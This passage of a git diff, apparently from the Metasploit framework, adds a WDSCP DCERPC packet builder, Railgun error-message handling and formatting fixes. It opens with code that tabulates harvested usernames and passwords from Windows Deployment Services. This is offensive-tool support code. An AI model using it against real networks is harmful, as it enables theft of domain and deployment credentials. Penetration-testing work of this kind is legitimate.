'Username', 'Password', 'Groups'] + }) + + results.each do |result| + case result['type'] + when 'wds', 'auto', 'domain_join' + table << [result['type'], result['domain'], result['username'], result['password'], ""] + when 'admin', 'local' + table << [result['type'], "", result['username'], result['password'], ""] + when 'domain' + table << [result['type'], "", result['username'], "", result['group']] + end + end + + return table + end end end end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/resolve.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/resolve.rb index 832c607b0c..0a212fa22f 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/resolve.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/resolve.rb @@ -48,7 +48,7 @@ class Resolve def resolve_hosts(hostnames, family=AF_INET) request = Packet.create_request('stdapi_net_resolve_hosts') request.add_tlv(TLV_TYPE_ADDR_TYPE, family) - + hostnames.each do |hostname| request.add_tlv(TLV_TYPE_HOST_NAME, hostname) end @@ -84,7 +84,7 @@ class Resolve end if raw.empty? - ip = "" + ip = nil else if type == AF_INET ip = Rex::Socket.addr_ntoa(raw[0..3]) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb index e140ccd5b8..a2bce9ea8b 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb @@ -269,13 +269,21 @@ class DLL rec_out_only_buffers = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT) rec_return_value = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_RET) rec_last_error = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_ERR) + rec_err_msg = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_MSG) + + # Error messages come back with trailing CRLF, so strip it out + # if we do get a message. + rec_err_msg.strip! if not rec_err_msg.nil? #puts "received stuff" #puts "out_only_layout:" #puts out_only_layout # The hash the function returns - return_hash={"GetLastError" => rec_last_error} + return_hash = { + "GetLastError" => rec_last_error, + "ErrorMessage" => rec_err_msg + } #process return value case function.return_type diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb index f35f380da1..9dc000e0bc 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb @@ -42,10 +42,13 @@ class MultiCaller include DLLHelper - def initialize( client, parent ) + def initialize( client, parent, win_consts ) @parent = parent @client = client + # needed by DLL helper + @win_consts = win_consts + if( @client.platform =~ /x64/i ) @native = 'Q' else @@ -224,9 +227,17 @@ class MultiCaller rec_out_only_buffers = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT) rec_return_value = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_RET) rec_last_error = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_ERR) + rec_err_msg = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_MSG) + + # Error messages come back with trailing CRLF, so strip it out + # if we do get a message. + rec_err_msg.strip! if not rec_err_msg.nil? # The hash the function returns - return_hash={"GetLastError" => rec_last_error} + return_hash = { + "GetLastError" => rec_last_error, + "ErrorMessage" => rec_err_msg + } #process return value case function.return_type @@ -303,8 +314,6 @@ class MultiCaller protected - attr_accessor :win_consts - end # MultiCall end; end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb index 0a411b9dc7..0d6642011f 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb @@ -290,7 +290,7 @@ class Railgun # def multi(functions) if @multicaller.nil? - @multicaller = MultiCaller.new(client, self) + @multicaller = MultiCaller.new(client, self, ApiConstants.manager) end return @multicaller.call(functions) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/tlv.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/tlv.rb index bf9ec39a3e..d7af95babf 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/tlv.rb @@ -32,24 +32,25 @@ module Extensions module Stdapi module Railgun -TLV_TYPE_EXTENSION_RAILGUN = 0 -TLV_TYPE_RAILGUN_SIZE_OUT = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 1) -TLV_TYPE_RAILGUN_STACKBLOB = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 2) -TLV_TYPE_RAILGUN_BUFFERBLOB_IN = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 3) -TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 4) +TLV_TYPE_EXTENSION_RAILGUN = 0 +TLV_TYPE_RAILGUN_SIZE_OUT = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 1) +TLV_TYPE_RAILGUN_STACKBLOB = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 2) +TLV_TYPE_RAILGUN_BUFFERBLOB_IN = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 3) +TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 4) -TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 5) -TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 6) -TLV_TYPE_RAILGUN_BACK_RET = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 7) -TLV_TYPE_RAILGUN_BACK_ERR = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 8) +TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 5) +TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 6) +TLV_TYPE_RAILGUN_BACK_RET = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 7) +TLV_TYPE_RAILGUN_BACK_ERR = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 8) -TLV_TYPE_RAILGUN_DLLNAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 9) -TLV_TYPE_RAILGUN_FUNCNAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 10) -TLV_TYPE_RAILGUN_MULTI_GROUP = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 11) +TLV_TYPE_RAILGUN_DLLNAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 9) +TLV_TYPE_RAILGUN_FUNCNAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 10) +TLV_TYPE_RAILGUN_MULTI_GROUP = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 11) -TLV_TYPE_RAILGUN_MEM_ADDRESS = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 12 ) -TLV_TYPE_RAILGUN_MEM_DATA = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 13 ) -TLV_TYPE_RAILGUN_MEM_LENGTH = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 14 ) +TLV_TYPE_RAILGUN_MEM_ADDRESS = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 12) +TLV_TYPE_RAILGUN_MEM_DATA = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 13) +TLV_TYPE_RAILGUN_MEM_LENGTH = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 14) -TLV_TYPE_RAILGUN_CALLCONV = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 15) +TLV_TYPE_RAILGUN_CALLCONV = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 15) +TLV_TYPE_RAILGUN_BACK_MSG = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 16) end; end; end; end; end; end diff --git a/lib/rex/proto/dcerpc/client.rb b/lib/rex/proto/dcerpc/client.rb index c7061aa8a4..43cdbe390a 100644 --- a/lib/rex/proto/dcerpc/client.rb +++ b/lib/rex/proto/dcerpc/client.rb @@ -252,7 +252,7 @@ require 'rex/proto/smb/exceptions' bind, context = Rex::Proto::DCERPC::Packet.make_bind_fake_multi(*args) else - bind, context = Rex::Proto::DCERPC::Packet.make_bind(self.handle.uuid[0], self.handle.uuid[1]) + bind, context = Rex::Proto::DCERPC::Packet.make_bind(*self.handle.uuid) end raise 'make_bind failed' if !bind diff --git a/lib/rex/proto/dcerpc/packet.rb b/lib/rex/proto/dcerpc/packet.rb index 9d48786788..b60e8998da 100644 --- a/lib/rex/proto/dcerpc/packet.rb +++ b/lib/rex/proto/dcerpc/packet.rb @@ -11,11 +11,15 @@ require 'rex/text' UUID = Rex::Proto::DCERPC::UUID # Create a standard DCERPC BIND request packet - def self.make_bind(uuid, vers) + def self.make_bind(uuid, vers, xfer_syntax_uuid=UUID.xfer_syntax_uuid, xfer_syntax_vers=UUID.xfer_syntax_vers) # Process the version strings ("1.0", 1.0, "1", 1) bind_vers_maj, bind_vers_min = UUID.vers_to_nums(vers) - xfer_vers_maj, xfer_vers_min = UUID.vers_to_nums(UUID.xfer_syntax_vers) + xfer_vers_maj, xfer_vers_min = UUID.vers_to_nums(xfer_syntax_vers) + + if UUID.is? xfer_syntax_uuid + xfer_syntax_uuid = UUID.uuid_pack(xfer_syntax_uuid) + end # Create the bind request packet buff = @@ -37,7 +41,7 @@ require 'rex/text' UUID.uuid_pack(uuid), # interface uuid bind_vers_maj, # interface major version bind_vers_min, # interface minor version - UUID.xfer_syntax_uuid, # transfer syntax + xfer_syntax_uuid, # transfer syntax xfer_vers_maj, # syntax major version xfer_vers_min, # syntax minor version ].pack('CCCCNvvVvvVVvvA16vvA16vv') diff --git a/lib/rex/proto/dcerpc/wdscp.rb b/lib/rex/proto/dcerpc/wdscp.rb new file mode 100644 index 0000000000..519f2ffb90 --- /dev/null +++ b/lib/rex/proto/dcerpc/wdscp.rb @@ -0,0 +1,3 @@ +# -*- coding: binary -*- +require 'rex/proto/dcerpc/wdscp/constants' +require 'rex/proto/dcerpc/wdscp/packet' diff --git a/lib/rex/proto/dcerpc/wdscp/constants.rb b/lib/rex/proto/dcerpc/wdscp/constants.rb new file mode 100644 index 0000000000..6c5ea07847 --- /dev/null +++ b/lib/rex/proto/dcerpc/wdscp/constants.rb @@ -0,0 +1,89 @@ +# -*- coding: binary -*- +module Rex +module Proto +module DCERPC +module WDSCP +# http://msdn.microsoft.com/en-us/library/dd891406(prot.20).aspx +# http://msdn.microsoft.com/en-us/library/dd541332(prot.20).aspx +# Not all values defined by the spec have been imported... +class Constants + WDSCP_RPC_UUID = "1A927394-352E-4553-AE3F-7CF4AAFCA620" + OS_DEPLOYMENT_GUID = "\x5a\xeb\xde\xd8\xfd\xef\xb2\x43\x99\xfc\x1a\x8a\x59\x21\xc2\x27" + + VAR_NAME_ARCHITECTURE = "ARCHITECTURE" + VAR_NAME_CLIENT_GUID = "CLIENT_GUID" + VAR_NAME_CLIENT_MAC = "CLIENT_MAC" + VAR_NAME_VERSION = "VERSION" + VAR_NAME_MESSAGE_TYPE = "MESSAGE_TYPE" + VAR_NAME_TRANSACTION_ID = "TRANSACTION_ID" + VAR_NAME_FLAGS = "FLAGS" + VAR_NAME_CC = "CC" #Client Capabilities + VAR_NAME_IMDC = "IMDC" + + VAR_TYPE_LOOKUP = { + VAR_NAME_ARCHITECTURE => :ULONG, + VAR_NAME_CLIENT_GUID => :WSTRING, + VAR_NAME_CLIENT_MAC => :WSTRING, + VAR_NAME_VERSION => :ULONG, + VAR_NAME_MESSAGE_TYPE => :ULONG, + VAR_NAME_TRANSACTION_ID => :WSTRING, + VAR_NAME_FLAGS => :ULONG, + VAR_NAME_CC => :ULONG, + VAR_NAME_IMDC => :ULONG + } + + CC_FLAGS = { + :V2 => 1, + :VHDX => 2 + } + + DOMAIN_JOIN_FLAGS = { + :JOIN_DOMAIN => 1, + :ACCOUNT_EXISTS => 2, + :PRESTAGE_USING_MAC => 3, + :RESET_BOOT_PROGRAM => 256 + } + + ARCHITECTURE = { + :X64 => 9, + :X86 => 0, + :IA64 => 6, + :ARM => 5 + } + + PACKET_TYPE = { + :REQUEST => 1, + :REPLY => 2 + } + + OPCODE = { + :IMG_ENUMERATE => 2, + :LOG_INIT => 3, + :LOG_MSG => 4, + :GET_CLIENT_UNATTEND => 5, + :GET_UNATTEND_VARIABLES => 6, + :GET_DOMAIN_JOIN_INFORMATION => 7, + :RESET_BOOT_PROGRAM => 8, + :GET_MACHINE_DRIVER_PACKAGES => 200 + } + + BASE_TYPE = { + :BYTE => 0x0001, + :USHORT => 0x0002, + :ULONG => 0x0004, + :ULONG64 => 0x0008, + :STRING => 0x0010, + :WSTRING => 0x0020, + :BLOB => 0x0040 + } + + TYPE_MODIFIER = { + :NONE => 0x0000, + :ARRAY => 0x1000 + } + +end +end +end +end +end diff --git a/lib/rex/proto/dcerpc/wdscp/packet.rb b/lib/rex/proto/dcerpc/wdscp/packet.rb new file mode 100644 index 0000000000..0bd6f6bded --- /dev/null +++ b/lib/rex/proto/dcerpc/wdscp/packet.rb @@ -0,0 +1,94 @@ +# -*- coding: binary -*- +module Rex +module Proto +module DCERPC +module WDSCP +class Packet + + WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants + + def initialize(packet_type, opcode) + if opcode.nil? || packet_type.nil? + raise(ArgumentError, "Packet arguments cannot be nil") + end + + @variables = [] + @packet_type = WDS_CONST::PACKET_TYPE[packet_type] + @opcode = WDS_CONST::OPCODE[opcode] + end + + def add_var(name, type_mod=0, value_length=nil, array_size=0, value) + padding = 0 + vt = WDS_CONST::VAR_TYPE_LOOKUP[name] + value_type = WDS_CONST::BASE_TYPE[vt] + name = Rex::Text.to_unicode(name).unpack('H*')[0] + + # Terminate strings with null char + if vt == :STRING + value << "\x00" + elsif vt == :WSTRING + value = Rex::Text.to_unicode(value) + value << "\x00\x00" + end + + value_length ||= value.length + # Variable block total size should be evenly divisible by 16. + len = 16 * (1 + (value_length/16)) + @variables << + [ name, + padding, + value_type, + type_mod, + value_length, + array_size, + value + ].pack('H132vvvVVa%i' % len) + end + + def create + packet = [] + var_count = @variables.count + + packet_size = 0 + @variables.each do |var| + packet_size += var.length + end + + # variables + operation + packet_size += 16 + + # These bytes are not part of the spec but are not part of DCERPC according to Wireshark + # Perhaps something from MSRPC specific? Basically length of the WDSCP packet twice... + packet << [(packet_size+40)].pack('V') * 2 + packet << create_endpoint_header(packet_size) + packet << create_operation_header(packet_size, var_count, @packet_type, @opcode) + packet.concat(@variables) + + return packet.join + end + + def create_operation_header(packet_size, var_count, packet_type=:REQUEST, opcode) + return [ + packet_size, # PacketSize + 256, # Version + packet_type, # Packet_Type + 0, # Padding + opcode, # Opcode + var_count, # Variable Count + ].pack('VvCCVV') + end + + def create_endpoint_header(packet_size) + return [ + 40, # Header_Size + 256, # Version + packet_size, # Packet_Size - This doesn't differ from operation header despite the spec... + WDS_CONST::OS_DEPLOYMENT_GUID, # GUID + "\x00"*16, # Reserved + ].pack('vvVa16a16') + end +end +end +end +end +end diff --git a/lib/rex/random_identifier_generator.rb b/lib/rex/random_identifier_generator.rb index 93c304811a..ab84faf3bc 100644 --- a/lib/rex/random_identifier_generator.rb +++ b/lib/rex/random_identifier_generator.rb @@ -66,6 +66,13 @@ class Rex::RandomIdentifierGenerator #} end + # Returns the @value_by_name hash + # + # @return [Hash] + def to_h + return @value_by_name + end + # Return a unique random identifier for +name+, generating a new one # if necessary. # @@ -82,6 +89,7 @@ class Rex::RandomIdentifierGenerator @value_by_name[name] end alias [] get + alias init_var get # Add a new identifier. Its name will be checked for uniqueness among # previously-generated names. diff --git a/lib/rex/socket/comm/local.rb b/lib/rex/socket/comm/local.rb index cf43c983e1..eaafb12046 100644 --- a/lib/rex/socket/comm/local.rb +++ b/lib/rex/socket/comm/local.rb @@ -131,8 +131,8 @@ class Rex::Socket::Comm::Local # Force IPv6 mode for non-connected UDP sockets if (type == ::Socket::SOCK_DGRAM and not param.peerhost) # FreeBSD allows IPv6 socket creation, but throws an error on sendto() - - if (not Rex::Compat.is_freebsd()) + # Windows 7 SP1 and newer also fail to sendto with IPv6 udp sockets + unless Rex::Compat.is_freebsd or Rex::Compat.is_windows usev6 = true end end diff --git a/lib/rex/sync/event.rb b/lib/rex/sync/event.rb index 23ce71820a..c71aed36a0 100644 --- a/lib/rex/sync/event.rb +++ b/lib/rex/sync/event.rb @@ -61,22 +61,12 @@ class Event # Waits for the event to become signaled. Timeout is measured in # seconds. Raises TimeoutError if the condition does not become signaled. # - - begin - # XXX: we need to replace this code - # continuations slow down YARV - require "continuation" if not defined? callcc - rescue ::LoadError - end - def wait(t = Infinite) - callcc { |ctx| - self.mutex.synchronize { - ctx.call if (self.state == true) + self.mutex.synchronize { + break if (self.state == true) - Timeout.timeout(t) { - self.cond.wait(self.mutex) - } + Timeout.timeout(t) { + self.cond.wait(self.mutex) } } diff --git a/lib/tasks/database.rake b/lib/tasks/database.rake index 54847d3172..646db409ff 100644 --- a/lib/tasks/database.rake +++ b/lib/tasks/database.rake @@ -7,28 +7,28 @@ require 'metasploit/framework/database' # # @see https://github.com/rails/rails/blob/ddce29bfa12462fde2342a0c2bd0eefd420c0eab/activerecord/lib/active_record/railties/databases.rake#L550 def configs_for_environment - environments = [Metasploit::Framework.env] + environments = [Metasploit::Framework.env] - if Metasploit::Framework.env.development? - environments << 'test' - end + if Metasploit::Framework.env.development? + environments << 'test' + end - environment_configurations = ActiveRecord::Base.configurations.values_at(*environments) - present_environment_configurations = environment_configurations.compact - valid_environment_configurations = present_environment_configurations.reject { |config| - config['database'].blank? - } + environment_configurations = ActiveRecord::Base.configurations.values_at(*environments) + present_environment_configurations = environment_configurations.compact + valid_environment_configurations = present_environment_configurations.reject { |config| + config['database'].blank? + } - valid_environment_configurations + valid_environment_configurations end # emulate initializer "active_record.initialize_database" from active_record/railtie ActiveSupport.on_load(:active_record) do - self.configurations = Metasploit::Framework::Database.configurations - puts "Connecting to database specified by #{Metasploit::Framework::Database.configurations_pathname}" + self.configurations = Metasploit::Framework::Database.configurations + puts "Connecting to database specified by #{Metasploit::Framework::Database.configurations_pathname}" - spec = configurations[Metasploit::Framework.env] - establish_connection(spec) + spec = configurations[Metasploit::Framework.env] + establish_connection(spec) end # @@ -36,9 +36,9 @@ end # Rake::TaskManager.class_eval do - def remove_task(task_name) - @tasks.delete(task_name.to_s) - end + def remove_task(task_name) + @tasks.delete(task_name.to_s) + end end Rake.application.remove_task('db:fixtures:load') @@ -49,25 +49,25 @@ Rake::Task['db:load_config'].clear Rake::Task['db:seed'].clear db_namespace = namespace :db do - task :load_config do - ActiveRecord::Base.configurations = Metasploit::Framework::Database.configurations + task :load_config do + ActiveRecord::Base.configurations = Metasploit::Framework::Database.configurations - ActiveRecord::Migrator.migrations_paths = [ - # rails isn't in Gemfile, so can't use the more appropriate - # Metasploit::Engine.instance.paths['db/migrate'].to_a since using - # Metasploit::Engine requires rails. - MetasploitDataModels.root.join('db', 'migrate').to_s - ] - end + ActiveRecord::Migrator.migrations_paths = [ + # rails isn't in Gemfile, so can't use the more appropriate + # Metasploit::Engine.instance.paths['db/migrate'].to_a since using + # Metasploit::Engine requires rails. + MetasploitDataModels.root.join('db', 'migrate').to_s + ] + end - desc 'Load the seed data from db/seeds.rb' - task :seed do - db_namespace['abort_if_pending_migrations'].invoke - seeds_pathname = Metasploit::Framework.root.join('db', 'seeds.rb') + desc 'Load the seed data from db/seeds.rb' + task :seed do + db_namespace['abort_if_pending_migrations'].invoke + seeds_pathname = Metasploit::Framework.root.join('db', 'seeds.rb') - if seeds_pathname.exist? - load(seeds_pathname) - end - end + if seeds_pathname.exist? + load(seeds_pathname) + end + end end diff --git a/lib/zip/test/data/file2.txt b/lib/zip/test/data/file2.txt index cc9ef6ad5b..57221d1adf 100644 --- a/lib/zip/test/data/file2.txt +++ b/lib/zip/test/data/file2.txt @@ -90,13 +90,13 @@ class ZipEntryTest < RUNIT::TestCase def test_constructorAndGetters entry = ZipEntry.new(TEST_ZIPFILE, - TEST_NAME, - TEST_COMMENT, - TEST_EXTRA, - TEST_COMPRESSED_SIZE, - TEST_CRC, - TEST_COMPRESSIONMETHOD, - TEST_SIZE) + TEST_NAME, + TEST_COMMENT, + TEST_EXTRA, + TEST_COMPRESSED_SIZE, + TEST_CRC, + TEST_COMPRESSIONMETHOD, + TEST_SIZE) assert_equals(TEST_COMMENT, entry.comment) assert_equals(TEST_COMPRESSED_SIZE, entry.compressedSize) @@ -110,29 +110,29 @@ class ZipEntryTest < RUNIT::TestCase def test_equality entry1 = ZipEntry.new("file.zip", "name", "isNotCompared", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) + "something extra", 123, 1234, + ZipEntry::DEFLATED, 10000) entry2 = ZipEntry.new("file.zip", "name", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) + "something extra", 123, 1234, + ZipEntry::DEFLATED, 10000) entry3 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) + "something extra", 123, 1234, + ZipEntry::DEFLATED, 10000) entry4 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 123, 1234, - ZipEntry::DEFLATED, 10000) + "something extraXX", 123, 1234, + ZipEntry::DEFLATED, 10000) entry5 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 1234, - ZipEntry::DEFLATED, 10000) + "something extraXX", 12, 1234, + ZipEntry::DEFLATED, 10000) entry6 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::DEFLATED, 10000) + "something extraXX", 12, 123, + ZipEntry::DEFLATED, 10000) entry7 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 10000) + "something extraXX", 12, 123, + ZipEntry::STORED, 10000) entry8 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 100000) + "something extraXX", 12, 123, + ZipEntry::STORED, 100000) assert_equals(entry1, entry1) assert_equals(entry1, entry2) @@ -223,8 +223,8 @@ class ZipLocalEntryTest < RUNIT::TestCase def test_writeEntry entry = ZipEntry.new("file.zip", "entryName", "my little comment", - "thisIsSomeExtraInformation", 100, 987654, - ZipEntry::DEFLATED, 400) + "thisIsSomeExtraInformation", 100, 987654, + ZipEntry::DEFLATED, 400) writeToFile("localEntryHeader.bin", "centralEntryHeader.bin", entry) entryReadLocal, entryReadCentral = readFromFile("localEntryHeader.bin", "centralEntryHeader.bin") compareLocalEntryHeaders(entry, entryReadLocal) @@ -326,13 +326,13 @@ module AssertEntry expected = file.read actual = zis.read if (expected != actual) - if (expected.length > 400 || actual.length > 400) - zipEntryFilename=entryName+".zipEntry" - File.open(zipEntryFilename, "wb") { |file| file << actual } - fail("File '#{filename}' is different from '#{zipEntryFilename}'") - else - assert_equals(expected, actual) - end + if (expected.length > 400 || actual.length > 400) + zipEntryFilename=entryName+".zipEntry" + File.open(zipEntryFilename, "wb") { |file| file << actual } + fail("File '#{filename}' is different from '#{zipEntryFilename}'") + else + assert_equals(expected, actual) + end end } end @@ -342,11 +342,11 @@ module AssertEntry File.open(filename, "rb") { |f| fileContents = f.read } if (fileContents != aString) if (expected.length > 400 || actual.length > 400) - stringFile = filename + ".other" - File.open(stringFile, "wb") { |f| f << aString } - fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") + stringFile = filename + ".other" + File.open(stringFile, "wb") { |f| f << aString } + fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") else - assert_equals(expected, actual) + assert_equals(expected, actual) end end end @@ -435,16 +435,16 @@ class TestFiles def TestFiles.createTestFiles(recreate) if (recreate || - ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) + ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) ASCII_TEST_FILES.each_with_index { - |filename, index| - createRandomAscii(filename, 1E4 * (index+1)) + |filename, index| + createRandomAscii(filename, 1E4 * (index+1)) } BINARY_TEST_FILES.each_with_index { - |filename, index| - createRandomBinary(filename, 1E4 * (index+1)) + |filename, index| + createRandomBinary(filename, 1E4 * (index+1)) } ensureDir(EMPTY_TEST_DIR) @@ -456,7 +456,7 @@ class TestFiles File.open(filename, "wb") { |file| while (file.tell < size) - file << rand + file << rand end } end @@ -465,7 +465,7 @@ class TestFiles File.open(filename, "wb") { |file| while (file.tell < size) - file << rand.to_a.pack("V") + file << rand.to_a.pack("V") end } end @@ -494,18 +494,18 @@ class TestZipFile def TestZipFile.createTestZips(recreate) files = Dir.entries(".") if (recreate || - ! (files.index(TEST_ZIP1.zipName) && - files.index(TEST_ZIP2.zipName) && - files.index(TEST_ZIP3.zipName) && - files.index(TEST_ZIP4.zipName) && - files.index("empty.txt") && - files.index("short.txt") && - files.index("longAscii.txt") && - files.index("longBinary.bin") )) + ! (files.index(TEST_ZIP1.zipName) && + files.index(TEST_ZIP2.zipName) && + files.index(TEST_ZIP3.zipName) && + files.index(TEST_ZIP4.zipName) && + files.index("empty.txt") && + files.index("short.txt") && + files.index("longAscii.txt") && + files.index("longBinary.bin") )) raise "failed to create test zip '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} ziptest.rb") + system("zip #{TEST_ZIP1.zipName} ziptest.rb") raise "failed to remove entry from '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} -d ziptest.rb") + system("zip #{TEST_ZIP1.zipName} -d ziptest.rb") File.open("empty.txt", "w") {} @@ -513,10 +513,10 @@ class TestZipFile ziptestTxt="" File.open("ziptest.rb") { |file| ziptestTxt=file.read } File.open("longAscii.txt", "w") { - |file| - while (file.tell < 1E5) - file << ziptestTxt - end + |file| + while (file.tell < 1E5) + file << ziptestTxt + end } testBinaryPattern="" @@ -524,24 +524,24 @@ class TestZipFile testBinaryPattern *= 4 File.open("longBinary.bin", "wb") { - |file| - while (file.tell < 3E5) - file << testBinaryPattern << rand - end + |file| + while (file.tell < 3E5) + file << testBinaryPattern << rand + end } raise "failed to create test zip '#{TEST_ZIP2.zipName}'" unless - system("zip #{TEST_ZIP2.zipName} #{TEST_ZIP2.entryNames.join(' ')}") + system("zip #{TEST_ZIP2.zipName} #{TEST_ZIP2.entryNames.join(' ')}") # without bash system interprets everything after echo as parameters to # echo including | zip -z ... raise "failed to add comment to test zip '#{TEST_ZIP2.zipName}'" unless - system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zipName}\"") + system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zipName}\"") raise "failed to create test zip '#{TEST_ZIP3.zipName}'" unless - system("zip #{TEST_ZIP3.zipName} #{TEST_ZIP3.entryNames.join(' ')}") + system("zip #{TEST_ZIP3.zipName} #{TEST_ZIP3.entryNames.join(' ')}") raise "failed to create test zip '#{TEST_ZIP4.zipName}'" unless - system("zip #{TEST_ZIP4.zipName} #{TEST_ZIP4.entryNames.join(' ')}") + system("zip #{TEST_ZIP4.zipName} #{TEST_ZIP4.entryNames.join(' ')}") end rescue raise $!.to_s + @@ -552,10 +552,10 @@ class TestZipFile TEST_ZIP1 = TestZipFile.new("empty.zip", []) TEST_ZIP2 = TestZipFile.new("4entry.zip", %w{ longAscii.txt empty.txt short.txt longBinary.bin}, - "my zip comment") + "my zip comment") TEST_ZIP3 = TestZipFile.new("test1.zip", %w{ file1.txt }) TEST_ZIP4 = TestZipFile.new("zipWithDir.zip", [ "file1.txt", - TestFiles::EMPTY_TEST_DIR]) + TestFiles::EMPTY_TEST_DIR]) end @@ -783,9 +783,9 @@ class ZipOutputStreamTest < RUNIT::TestCase zos = ZipOutputStream.open(name) rescue Exception 